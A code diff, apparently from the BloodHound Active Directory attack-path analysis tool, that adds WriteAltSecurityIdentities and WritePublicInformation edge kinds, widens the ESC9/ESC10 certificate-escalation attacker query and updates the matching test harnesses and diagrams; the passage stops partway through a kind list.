diff --git a/cmd/api/src/analysis/ad/adcs_integration_test.go b/cmd/api/src/analysis/ad/adcs_integration_test.go index 9b332c3b8d..754abccf77 100644 --- a/cmd/api/src/analysis/ad/adcs_integration_test.go +++ b/cmd/api/src/analysis/ad/adcs_integration_test.go @@ -1272,13 +1272,14 @@ func TestADCSESC9a(t *testing.T) { })); err != nil { t.Fatalf("error fetching esc9a edges in integration test; %v", err) } else { - assert.Equal(t, 6, len(results)) + assert.Equal(t, 7, len(results)) assert.True(t, results.Contains(harness.ESC9aPrincipalHarness.Group1)) assert.True(t, results.Contains(harness.ESC9aPrincipalHarness.Group2)) assert.True(t, results.Contains(harness.ESC9aPrincipalHarness.Group3)) assert.True(t, results.Contains(harness.ESC9aPrincipalHarness.Group4)) assert.True(t, results.Contains(harness.ESC9aPrincipalHarness.Group5)) + assert.True(t, results.Contains(harness.ESC9aPrincipalHarness.Group6)) assert.True(t, results.Contains(harness.ESC9aPrincipalHarness.User2)) } return nil @@ -2658,13 +2659,14 @@ func TestADCSESC10a(t *testing.T) { })); err != nil { t.Fatalf("error fetching esc10a edges in integration test; %v", err) } else { - require.Equal(t, 6, len(results)) + require.Equal(t, 7, len(results)) require.True(t, results.Contains(harness.ESC10aPrincipalHarness.Group1)) require.True(t, results.Contains(harness.ESC10aPrincipalHarness.Group2)) require.True(t, results.Contains(harness.ESC10aPrincipalHarness.Group3)) require.True(t, results.Contains(harness.ESC10aPrincipalHarness.Group4)) require.True(t, results.Contains(harness.ESC10aPrincipalHarness.Group5)) + require.True(t, results.Contains(harness.ESC10aPrincipalHarness.Group6)) require.True(t, results.Contains(harness.ESC10aPrincipalHarness.User2)) } diff --git a/cmd/api/src/test/integration/harnesses.go b/cmd/api/src/test/integration/harnesses.go index f443790584..414ccd88a0 100644 --- a/cmd/api/src/test/integration/harnesses.go +++ b/cmd/api/src/test/integration/harnesses.go @@ -2210,6 +2210,7 @@ type ESC9aPrincipalHarness struct { Group4 *graph.Node Group5 *graph.Node Group6 *graph.Node + Group7 *graph.Node NTAuthStore *graph.Node RootCA *graph.Node User1 *graph.Node @@ -2241,6 +2242,7 @@ func (s *ESC9aPrincipalHarness) Setup(graphTestContext *GraphTestContext) { s.Group4 = graphTestContext.NewActiveDirectoryGroup("Group4", domainSid) s.Group5 = graphTestContext.NewActiveDirectoryGroup("Group5", domainSid) s.Group6 = graphTestContext.NewActiveDirectoryGroup("Group6", domainSid) + s.Group7 = graphTestContext.NewActiveDirectoryGroup("Group7", domainSid) s.NTAuthStore = graphTestContext.NewActiveDirectoryNTAuthStore("NTAuthStore", domainSid) s.RootCA = graphTestContext.NewActiveDirectoryRootCA("RootCA", domainSid) s.User1 = graphTestContext.NewActiveDirectoryUser("User1", domainSid) @@ -2256,7 +2258,8 @@ func (s *ESC9aPrincipalHarness) Setup(graphTestContext *GraphTestContext) { graphTestContext.NewRelationship(s.Group6, s.User1, ad.AllExtendedRights) graphTestContext.NewRelationship(s.Group3, s.User1, ad.WriteDACL) graphTestContext.NewRelationship(s.Group4, s.User1, ad.WriteOwner) - graphTestContext.NewRelationship(s.Group5, s.User1, ad.WriteOwner) + graphTestContext.NewRelationship(s.Group5, s.User1, ad.Owns) + graphTestContext.NewRelationship(s.Group6, s.User1, ad.WritePublicInformation) graphTestContext.NewRelationship(s.User2, s.User2, ad.GenericAll) graphTestContext.NewRelationship(s.User1, s.Group0, ad.MemberOf) graphTestContext.NewRelationship(s.User2, s.Group0, ad.MemberOf) @@ -3747,10 +3750,11 @@ type ESC10aPrincipalHarness struct { User1 *graph.Node Group1 *graph.Node Group2 *graph.Node - Group6 *graph.Node Group3 *graph.Node Group4 *graph.Node Group5 *graph.Node + Group6 *graph.Node + Group7 *graph.Node User2 *graph.Node Group0 *graph.Node } @@ -3777,10 +3781,11 @@ func (s *ESC10aPrincipalHarness) Setup(graphTestContext *GraphTestContext) { s.User1 = graphTestContext.NewActiveDirectoryUser("User1", domainSid) s.Group1 = graphTestContext.NewActiveDirectoryGroup("Group1", domainSid) s.Group2 = graphTestContext.NewActiveDirectoryGroup("Group2", domainSid) - s.Group6 = graphTestContext.NewActiveDirectoryGroup("Group6", domainSid) s.Group3 = graphTestContext.NewActiveDirectoryGroup("Group3", domainSid) s.Group4 = graphTestContext.NewActiveDirectoryGroup("Group4", domainSid) s.Group5 = graphTestContext.NewActiveDirectoryGroup("Group5", domainSid) + s.Group6 = graphTestContext.NewActiveDirectoryGroup("Group6", domainSid) + s.Group7 = graphTestContext.NewActiveDirectoryGroup("Group7", domainSid) s.User2 = graphTestContext.NewActiveDirectoryUser("User2", domainSid) s.Group0 = graphTestContext.NewActiveDirectoryGroup("Group0", domainSid) graphTestContext.NewRelationship(s.RootCA, s.Domain, ad.RootCAFor) @@ -3794,7 +3799,8 @@ func (s *ESC10aPrincipalHarness) Setup(graphTestContext *GraphTestContext) { graphTestContext.NewRelationship(s.Group6, s.User1, ad.AllExtendedRights) graphTestContext.NewRelationship(s.Group3, s.User1, ad.WriteDACL) graphTestContext.NewRelationship(s.Group4, s.User1, ad.WriteOwner) - graphTestContext.NewRelationship(s.Group5, s.User1, ad.WriteOwner) + graphTestContext.NewRelationship(s.Group5, s.User1, ad.Owns) + graphTestContext.NewRelationship(s.Group6, s.User1, ad.WritePublicInformation) graphTestContext.NewRelationship(s.User2, s.User2, ad.GenericAll) graphTestContext.NewRelationship(s.User1, s.Group0, ad.MemberOf) graphTestContext.NewRelationship(s.User2, s.Group0, ad.MemberOf) diff --git a/cmd/api/src/test/integration/harnesses/esc10aprincipalharness.json b/cmd/api/src/test/integration/harnesses/esc10aprincipalharness.json index 9596114e77..172062e38d 100644 --- a/cmd/api/src/test/integration/harnesses/esc10aprincipalharness.json +++ b/cmd/api/src/test/integration/harnesses/esc10aprincipalharness.json @@ -189,10 +189,10 @@ { "id": "n9", "position": { - "x": 482.94623164792375, - "y": 657.1984889145978 + "x": 654.085839099432, + "y": 633.957307655751 }, - "caption": "Group6", + "caption": "Group7", "labels": [], "properties": {}, "style": { @@ -264,6 +264,19 @@ "style": { "node-color": "#fcdc00" } + }, + { + "id": "n15", + "position": { + "x": 495.7801848291077, + "y": 652.6385696871592 + }, + "caption": "Group6", + "style": { + "node-color": "#fcdc00" + }, + "labels": [], + "properties": {} } ], "relationships": [ @@ -408,11 +421,11 @@ }, { "id": "n16", - "fromId": "n12", - "toId": "n6", - "type": "WriteOwner", + "type": "Owns", + "style": {}, "properties": {}, - "style": {} + "fromId": "n12", + "toId": "n6" }, { "id": "n17", @@ -461,6 +474,22 @@ "type": "Enroll", "properties": {}, "style": {} + }, + { + "id": "n23", + "type": "ADCSESC10a", + "fromId": "n15", + "toId": "n0", + "style": {}, + "properties": {} + }, + { + "id": "n24", + "type": "Owns", + "fromId": "n15", + "toId": "n6", + "style": {}, + "properties": {} } ] } \ No newline at end of file diff --git a/cmd/api/src/test/integration/harnesses/esc10aprincipalharness.svg b/cmd/api/src/test/integration/harnesses/esc10aprincipalharness.svg index ca2ba973f6..543424b1b2 100644 --- a/cmd/api/src/test/integration/harnesses/esc10aprincipalharness.svg +++ b/cmd/api/src/test/integration/harnesses/esc10aprincipalharness.svg @@ -1,18 +1,18 @@ -RootCAForIssuedSignedByNTAuthStoreForTrustedForNTAuthDCForPublishedToGenericAllADCSESC10aADCSESC10aGenericWriteAllExtendedRightsWriteDaclADCSESC10aADCSESC10aWriteOwnerADCSESC10aWriteOwnerGenericAllADCSESC10aMemberOfMemberOfEnrollEnrollDomainNTAuthStoreRootCAEnterpriseCADCCertificateMappingMethodsRaw:31CertTemplateSchannelAuthenticationEnabled:TrueRequireManagerApproval:FalseSchemaVersion:1SubjectAltRequireUPN:TrueUser1Group1Group2Group6Group3Group4Group5User2Group0 +RootCAForIssuedSignedByNTAuthStoreForTrustedForNTAuthDCForPublishedToGenericAllADCSESC10aADCSESC10aGenericWriteAllExtendedRightsWriteDaclADCSESC10aADCSESC10aWriteOwnerADCSESC10aOwnsGenericAllADCSESC10aMemberOfMemberOfEnrollEnrollADCSESC10aOwnsDomainNTAuthStoreRootCAEnterpriseCADCCertificateMappingMethodsRaw:31CertTemplateSchannelAuthenticationEnabled:TrueRequireManagerApproval:FalseSchemaVersion:1SubjectAltRequireUPN:TrueUser1Group1Group2Group7Group3Group4Group5User2Group0Group6 diff --git a/cmd/api/src/test/integration/harnesses/esc9aprincipalharness.json b/cmd/api/src/test/integration/harnesses/esc9aprincipalharness.json index a851251753..d9bc9e4a6f 100644 --- a/cmd/api/src/test/integration/harnesses/esc9aprincipalharness.json +++ b/cmd/api/src/test/integration/harnesses/esc9aprincipalharness.json @@ -190,10 +190,10 @@ { "id": "n9", "position": { - "x": 482.94623164792375, - "y": 657.1984889145978 + "x": 660.4243430791171, + "y": 636.7404784228806 }, - "caption": "Group6", + "caption": "Group7", "labels": [], "properties": {}, "style": { @@ -265,6 +265,19 @@ "style": { "node-color": "#fcdc00" } + }, + { + "id": "n15", + "position": { + "x": 463.0761473193729, + "y": 665.7935615621888 + }, + "caption": "Group6", + "style": { + "node-color": "#fcdc00" + }, + "labels": [], + "properties": {} } ], "relationships": [ @@ -409,11 +422,11 @@ }, { "id": "n16", - "fromId": "n12", - "toId": "n6", - "type": "WriteOwner", + "type": "Owns", + "style": {}, "properties": {}, - "style": {} + "fromId": "n12", + "toId": "n6" }, { "id": "n17", @@ -462,6 +475,22 @@ "type": "Enroll", "properties": {}, "style": {} + }, + { + "id": "n23", + "type": "ADCSESC9a", + "fromId": "n15", + "toId": "n0", + "style": {}, + "properties": {} + }, + { + "id": "n24", + "type": "WritePublicInformation", + "style": {}, + "properties": {}, + "fromId": "n15", + "toId": "n6" } ] } \ No newline at end of file diff --git a/cmd/api/src/test/integration/harnesses/esc9aprincipalharness.svg b/cmd/api/src/test/integration/harnesses/esc9aprincipalharness.svg index 5587bc954b..20db96238c 100644 --- a/cmd/api/src/test/integration/harnesses/esc9aprincipalharness.svg +++ b/cmd/api/src/test/integration/harnesses/esc9aprincipalharness.svg @@ -1,18 +1,18 @@ -RootCAForIssuedSignedByNTAuthStoreForTrustedForNTAuthDCForPublishedToGenericAllADCSESC9aADCSESC9aGenericWriteAllExtendedRightsWriteDaclADCSESC9aADCSESC9aWriteOwnerADCSESC9aWriteOwnerGenericAllADCSESC9aMemberOfMemberOfEnrollEnrollDomainNTAuthStoreRootCAEnterpriseCADCStrongCertificateBindingEnforcementRaw:1CertTemplateAuthenticationEnabled:TrueRequireManagerApproval:FalseSchemaVersion:1NoSecurityExtension:TrueSubjectAltRequireUPN:TrueUser1Group1Group2Group6Group3Group4Group5User2Group0 +RootCAForIssuedSignedByNTAuthStoreForTrustedForNTAuthDCForPublishedToGenericAllADCSESC9aADCSESC9aGenericWriteAllExtendedRightsWriteDaclADCSESC9aADCSESC9aWriteOwnerADCSESC9aOwnsGenericAllADCSESC9aMemberOfMemberOfEnrollEnrollADCSESC9aWritePublicInformationDomainNTAuthStoreRootCAEnterpriseCADCStrongCertificateBindingEnforcementRaw:1CertTemplateAuthenticationEnabled:TrueRequireManagerApproval:FalseSchemaVersion:1NoSecurityExtension:TrueSubjectAltRequireUPN:TrueUser1Group1Group2Group7Group3Group4Group5User2Group0Group6 diff --git a/packages/cue/bh/ad/ad.cue b/packages/cue/bh/ad/ad.cue index 047ac915c2..32941c0792 100644 --- a/packages/cue/bh/ad/ad.cue +++ b/packages/cue/bh/ad/ad.cue @@ -1655,6 +1655,16 @@ CanApplyGPO: types.#Kind & { schema: "active_directory" } +WriteAltSecurityIdentities: types.#Kind & { + symbol: "WriteAltSecurityIdentities" + schema: "active_directory" +} + +WritePublicInformation: types.#Kind & { + symbol: "WritePublicInformation" + schema: "active_directory" +} + // Relationship Kinds RelationshipKinds: [ Owns, @@ -1742,6 +1752,8 @@ RelationshipKinds: [ GPOAppliesTo, CanApplyGPO, HasTrustKeys, + WriteAltSecurityIdentities, + WritePublicInformation, ] // ACL Relationships @@ -1774,6 +1786,8 @@ ACLRelationships: [ WritePKINameFlag, WriteOwnerLimitedRights, OwnsLimitedRights, + WriteAltSecurityIdentities, + WritePublicInformation, ] // these edges are common to inbound/outbound/pathfinding @@ -1832,6 +1846,8 @@ SharedRelationshipKinds: [ GPOAppliesTo, CanApplyGPO, HasTrustKeys, + WriteAltSecurityIdentities, + WritePublicInformation, ] // Edges that are used during inbound traversal diff --git a/packages/go/analysis/ad/queries.go b/packages/go/analysis/ad/queries.go index d260f14aef..9745737a00 100644 --- a/packages/go/analysis/ad/queries.go +++ b/packages/go/analysis/ad/queries.go @@ -1872,13 +1872,17 @@ func FetchAttackersForEscalations9and10(tx graph.Transaction, victimBitmap cardi if attackers, err := ops.FetchStartNodeIDs(tx.Relationships().Filterf(func() graph.Criteria { criteria := query.And( query.KindIn(query.Start(), ad.Group, ad.User, ad.Computer), - query.KindIn(query.Relationship(), ad.GenericAll, ad.GenericWrite, ad.Owns, ad.WriteOwner, ad.WriteDACL), query.InIDs(query.EndID(), graph.DuplexToGraphIDs(victimBitmap)...), ) if scenarioB { - return query.And(criteria, query.KindIn(query.End(), ad.Computer)) + return query.And(criteria, + query.KindIn(query.End(), ad.Computer), + query.KindIn(query.Relationship(), ad.GenericAll, ad.GenericWrite, ad.Owns, ad.WriteOwner, ad.WriteDACL), + ) + } else { + return query.And(criteria, + query.KindIn(query.Relationship(), ad.GenericAll, ad.GenericWrite, ad.Owns, ad.WriteOwner, ad.WriteDACL, ad.WritePublicInformation)) } - return criteria })); err != nil { return nil, err } else { diff --git a/packages/go/graphschema/ad/ad.go b/packages/go/graphschema/ad/ad.go index e29bf1c0ae..b2e5e65d3f 100644 --- a/packages/go/graphschema/ad/ad.go +++ b/packages/go/graphschema/ad/ad.go @@ -126,6 +126,8 @@ var ( GPOAppliesTo = graph.StringKind("GPOAppliesTo") CanApplyGPO = graph.StringKind("CanApplyGPO") HasTrustKeys = graph.StringKind("HasTrustKeys") + WriteAltSecurityIdentities = graph.StringKind("WriteAltSecurityIdentities") + WritePublicInformation = graph.StringKind("WritePublicInformation") ) type Property string @@ -1097,19 +1099,19 @@ func Nodes() []graph.Kind { return []graph.Kind{Entity, User, Computer, Group, GPO, OU, Container, Domain, LocalGroup, LocalUser, AIACA, RootCA, EnterpriseCA, NTAuthStore, CertTemplate, IssuancePolicy} } func Relationships() []graph.Kind { - return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, Contains, GPLink, AllowedToDelegate, CoerceToTGT, GetChanges, GetChangesAll, GetChangesInFilteredSet, CrossForestTrust, SameForestTrust, SpoofSIDHistory, AbuseTGTDelegation, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, LocalToComputer, MemberOfLocalGroup, RemoteInteractiveLogonRight, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, RootCAFor, DCFor, PublishedTo, ManageCertificates, ManageCA, DelegatedEnrollmentAgent, Enroll, HostsCAService, WritePKIEnrollmentFlag, WritePKINameFlag, NTAuthStoreFor, TrustedForNTAuth, EnterpriseCAFor, IssuedSignedBy, GoldenCert, EnrollOnBehalfOf, OIDGroupLink, ExtendedByPolicy, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC6a, ADCSESC6b, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser, CoerceAndRelayNTLMToSMB, CoerceAndRelayNTLMToADCS, WriteOwnerLimitedRights, WriteOwnerRaw, OwnsLimitedRights, OwnsRaw, ClaimSpecialIdentity, CoerceAndRelayNTLMToLDAP, CoerceAndRelayNTLMToLDAPS, ContainsIdentity, PropagatesACEsTo, GPOAppliesTo, CanApplyGPO, HasTrustKeys} + return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, Contains, GPLink, AllowedToDelegate, CoerceToTGT, GetChanges, GetChangesAll, GetChangesInFilteredSet, CrossForestTrust, SameForestTrust, SpoofSIDHistory, AbuseTGTDelegation, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, LocalToComputer, MemberOfLocalGroup, RemoteInteractiveLogonRight, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, RootCAFor, DCFor, PublishedTo, ManageCertificates, ManageCA, DelegatedEnrollmentAgent, Enroll, HostsCAService, WritePKIEnrollmentFlag, WritePKINameFlag, NTAuthStoreFor, TrustedForNTAuth, EnterpriseCAFor, IssuedSignedBy, GoldenCert, EnrollOnBehalfOf, OIDGroupLink, ExtendedByPolicy, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC6a, ADCSESC6b, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser, CoerceAndRelayNTLMToSMB, CoerceAndRelayNTLMToADCS, WriteOwnerLimitedRights, WriteOwnerRaw, OwnsLimitedRights, OwnsRaw, ClaimSpecialIdentity, CoerceAndRelayNTLMToLDAP, CoerceAndRelayNTLMToLDAPS, ContainsIdentity, PropagatesACEsTo, GPOAppliesTo, CanApplyGPO, HasTrustKeys, WriteAltSecurityIdentities, WritePublicInformation} } func ACLRelationships() []graph.Kind { - return []graph.Kind{AllExtendedRights, ForceChangePassword, AddMember, AddAllowedToAct, GenericAll, WriteDACL, WriteOwner, GenericWrite, ReadLAPSPassword, ReadGMSAPassword, Owns, AddSelf, WriteSPN, AddKeyCredentialLink, GetChanges, GetChangesAll, GetChangesInFilteredSet, WriteAccountRestrictions, WriteGPLink, SyncLAPSPassword, DCSync, ManageCertificates, ManageCA, Enroll, WritePKIEnrollmentFlag, WritePKINameFlag, WriteOwnerLimitedRights, OwnsLimitedRights} + return []graph.Kind{AllExtendedRights, ForceChangePassword, AddMember, AddAllowedToAct, GenericAll, WriteDACL, WriteOwner, GenericWrite, ReadLAPSPassword, ReadGMSAPassword, Owns, AddSelf, WriteSPN, AddKeyCredentialLink, GetChanges, GetChangesAll, GetChangesInFilteredSet, WriteAccountRestrictions, WriteGPLink, SyncLAPSPassword, DCSync, ManageCertificates, ManageCA, Enroll, WritePKIEnrollmentFlag, WritePKINameFlag, WriteOwnerLimitedRights, OwnsLimitedRights, WriteAltSecurityIdentities, WritePublicInformation} } func PathfindingRelationships() []graph.Kind { - return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, AllowedToDelegate, CoerceToTGT, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, GoldenCert, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC6a, ADCSESC6b, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser, CoerceAndRelayNTLMToSMB, CoerceAndRelayNTLMToADCS, WriteOwnerLimitedRights, OwnsLimitedRights, ClaimSpecialIdentity, CoerceAndRelayNTLMToLDAP, CoerceAndRelayNTLMToLDAPS, ContainsIdentity, PropagatesACEsTo, GPOAppliesTo, CanApplyGPO, HasTrustKeys, DCFor, SameForestTrust, SpoofSIDHistory, AbuseTGTDelegation} + return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, AllowedToDelegate, CoerceToTGT, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, GoldenCert, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC6a, ADCSESC6b, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser, CoerceAndRelayNTLMToSMB, CoerceAndRelayNTLMToADCS, WriteOwnerLimitedRights, OwnsLimitedRights, ClaimSpecialIdentity, CoerceAndRelayNTLMToLDAP, CoerceAndRelayNTLMToLDAPS, ContainsIdentity, PropagatesACEsTo, GPOAppliesTo, CanApplyGPO, HasTrustKeys, WriteAltSecurityIdentities, WritePublicInformation, DCFor, SameForestTrust, SpoofSIDHistory, AbuseTGTDelegation} } func InboundRelationshipKinds() []graph.Kind { - return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, AllowedToDelegate, CoerceToTGT, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, GoldenCert, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC6a, ADCSESC6b, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser, CoerceAndRelayNTLMToSMB, CoerceAndRelayNTLMToADCS, WriteOwnerLimitedRights, OwnsLimitedRights, ClaimSpecialIdentity, CoerceAndRelayNTLMToLDAP, CoerceAndRelayNTLMToLDAPS, ContainsIdentity, PropagatesACEsTo, GPOAppliesTo, CanApplyGPO, HasTrustKeys} + return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, AllowedToDelegate, CoerceToTGT, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, GoldenCert, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC6a, ADCSESC6b, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser, CoerceAndRelayNTLMToSMB, CoerceAndRelayNTLMToADCS, WriteOwnerLimitedRights, OwnsLimitedRights, ClaimSpecialIdentity, CoerceAndRelayNTLMToLDAP, CoerceAndRelayNTLMToLDAPS, ContainsIdentity, PropagatesACEsTo, GPOAppliesTo, CanApplyGPO, HasTrustKeys, WriteAltSecurityIdentities, WritePublicInformation} } func OutboundRelationshipKinds() []graph.Kind { - return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, AllowedToDelegate, CoerceToTGT, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, GoldenCert, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC6a, ADCSESC6b, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser, CoerceAndRelayNTLMToSMB, CoerceAndRelayNTLMToADCS, WriteOwnerLimitedRights, OwnsLimitedRights, ClaimSpecialIdentity, CoerceAndRelayNTLMToLDAP, CoerceAndRelayNTLMToLDAPS, ContainsIdentity, PropagatesACEsTo, GPOAppliesTo, CanApplyGPO, HasTrustKeys, DCFor} + return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, AllowedToDelegate, CoerceToTGT, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, GoldenCert, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC6a, ADCSESC6b, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser, CoerceAndRelayNTLMToSMB, CoerceAndRelayNTLMToADCS, WriteOwnerLimitedRights, OwnsLimitedRights, ClaimSpecialIdentity, CoerceAndRelayNTLMToLDAP, CoerceAndRelayNTLMToLDAPS, ContainsIdentity, PropagatesACEsTo, GPOAppliesTo, CanApplyGPO, HasTrustKeys, WriteAltSecurityIdentities, WritePublicInformation, DCFor} } func IsACLKind(s graph.Kind) bool { for _, acl := range ACLRelationships() { diff --git a/packages/go/graphschema/common/common.go b/packages/go/graphschema/common/common.go index 7431adad2e..b69ea2a23b 100644 --- a/packages/go/graphschema/common/common.go +++ b/packages/go/graphschema/common/common.go @@ -40,10 +40,10 @@ func NodeKinds() []graph.Kind { return []graph.Kind{MigrationData} } func InboundRelationshipKinds() []graph.Kind { - return []graph.Kind{ad.Owns, ad.GenericAll, ad.GenericWrite, ad.WriteOwner, ad.WriteDACL, ad.MemberOf, ad.ForceChangePassword, ad.AllExtendedRights, ad.AddMember, ad.HasSession, ad.AllowedToDelegate, ad.CoerceToTGT, ad.AllowedToAct, ad.AdminTo, ad.CanPSRemote, ad.CanRDP, ad.ExecuteDCOM, ad.HasSIDHistory, ad.AddSelf, ad.DCSync, ad.ReadLAPSPassword, ad.ReadGMSAPassword, ad.DumpSMSAPassword, ad.SQLAdmin, ad.AddAllowedToAct, ad.WriteSPN, ad.AddKeyCredentialLink, ad.SyncLAPSPassword, ad.WriteAccountRestrictions, ad.WriteGPLink, ad.GoldenCert, ad.ADCSESC1, ad.ADCSESC3, ad.ADCSESC4, ad.ADCSESC6a, ad.ADCSESC6b, ad.ADCSESC9a, ad.ADCSESC9b, ad.ADCSESC10a, ad.ADCSESC10b, ad.ADCSESC13, ad.SyncedToEntraUser, ad.CoerceAndRelayNTLMToSMB, ad.CoerceAndRelayNTLMToADCS, ad.WriteOwnerLimitedRights, ad.OwnsLimitedRights, ad.ClaimSpecialIdentity, ad.CoerceAndRelayNTLMToLDAP, ad.CoerceAndRelayNTLMToLDAPS, ad.ContainsIdentity, ad.PropagatesACEsTo, ad.GPOAppliesTo, ad.CanApplyGPO, ad.HasTrustKeys, azure.AvereContributor, azure.Contributor, azure.GetCertificates, azure.GetKeys, azure.GetSecrets, azure.HasRole, azure.MemberOf, azure.Owner, azure.RunsAs, azure.VMContributor, azure.AutomationContributor, azure.KeyVaultContributor, azure.VMAdminLogin, azure.AddMembers, azure.AddSecret, azure.ExecuteCommand, azure.GlobalAdmin, azure.PrivilegedAuthAdmin, azure.Grant, azure.GrantSelf, azure.PrivilegedRoleAdmin, azure.ResetPassword, azure.UserAccessAdministrator, azure.Owns, azure.CloudAppAdmin, azure.AppAdmin, azure.AddOwner, azure.ManagedIdentity, azure.AKSContributor, azure.NodeResourceGroup, azure.WebsiteContributor, azure.LogicAppContributor, azure.AZMGAddMember, azure.AZMGAddOwner, azure.AZMGAddSecret, azure.AZMGGrantAppRoles, azure.AZMGGrantRole, azure.SyncedToADUser, azure.AZRoleEligible, azure.AZRoleApprover} + return []graph.Kind{ad.Owns, ad.GenericAll, ad.GenericWrite, ad.WriteOwner, ad.WriteDACL, ad.MemberOf, ad.ForceChangePassword, ad.AllExtendedRights, ad.AddMember, ad.HasSession, ad.AllowedToDelegate, ad.CoerceToTGT, ad.AllowedToAct, ad.AdminTo, ad.CanPSRemote, ad.CanRDP, ad.ExecuteDCOM, ad.HasSIDHistory, ad.AddSelf, ad.DCSync, ad.ReadLAPSPassword, ad.ReadGMSAPassword, ad.DumpSMSAPassword, ad.SQLAdmin, ad.AddAllowedToAct, ad.WriteSPN, ad.AddKeyCredentialLink, ad.SyncLAPSPassword, ad.WriteAccountRestrictions, ad.WriteGPLink, ad.GoldenCert, ad.ADCSESC1, ad.ADCSESC3, ad.ADCSESC4, ad.ADCSESC6a, ad.ADCSESC6b, ad.ADCSESC9a, ad.ADCSESC9b, ad.ADCSESC10a, ad.ADCSESC10b, ad.ADCSESC13, ad.SyncedToEntraUser, ad.CoerceAndRelayNTLMToSMB, ad.CoerceAndRelayNTLMToADCS, ad.WriteOwnerLimitedRights, ad.OwnsLimitedRights, ad.ClaimSpecialIdentity, ad.CoerceAndRelayNTLMToLDAP, ad.CoerceAndRelayNTLMToLDAPS, ad.ContainsIdentity, ad.PropagatesACEsTo, ad.GPOAppliesTo, ad.CanApplyGPO, ad.HasTrustKeys, ad.WriteAltSecurityIdentities, ad.WritePublicInformation, azure.AvereContributor, azure.Contributor, azure.GetCertificates, azure.GetKeys, azure.GetSecrets, azure.HasRole, azure.MemberOf, azure.Owner, azure.RunsAs, azure.VMContributor, azure.AutomationContributor, azure.KeyVaultContributor, azure.VMAdminLogin, azure.AddMembers, azure.AddSecret, azure.ExecuteCommand, azure.GlobalAdmin, azure.PrivilegedAuthAdmin, azure.Grant, azure.GrantSelf, 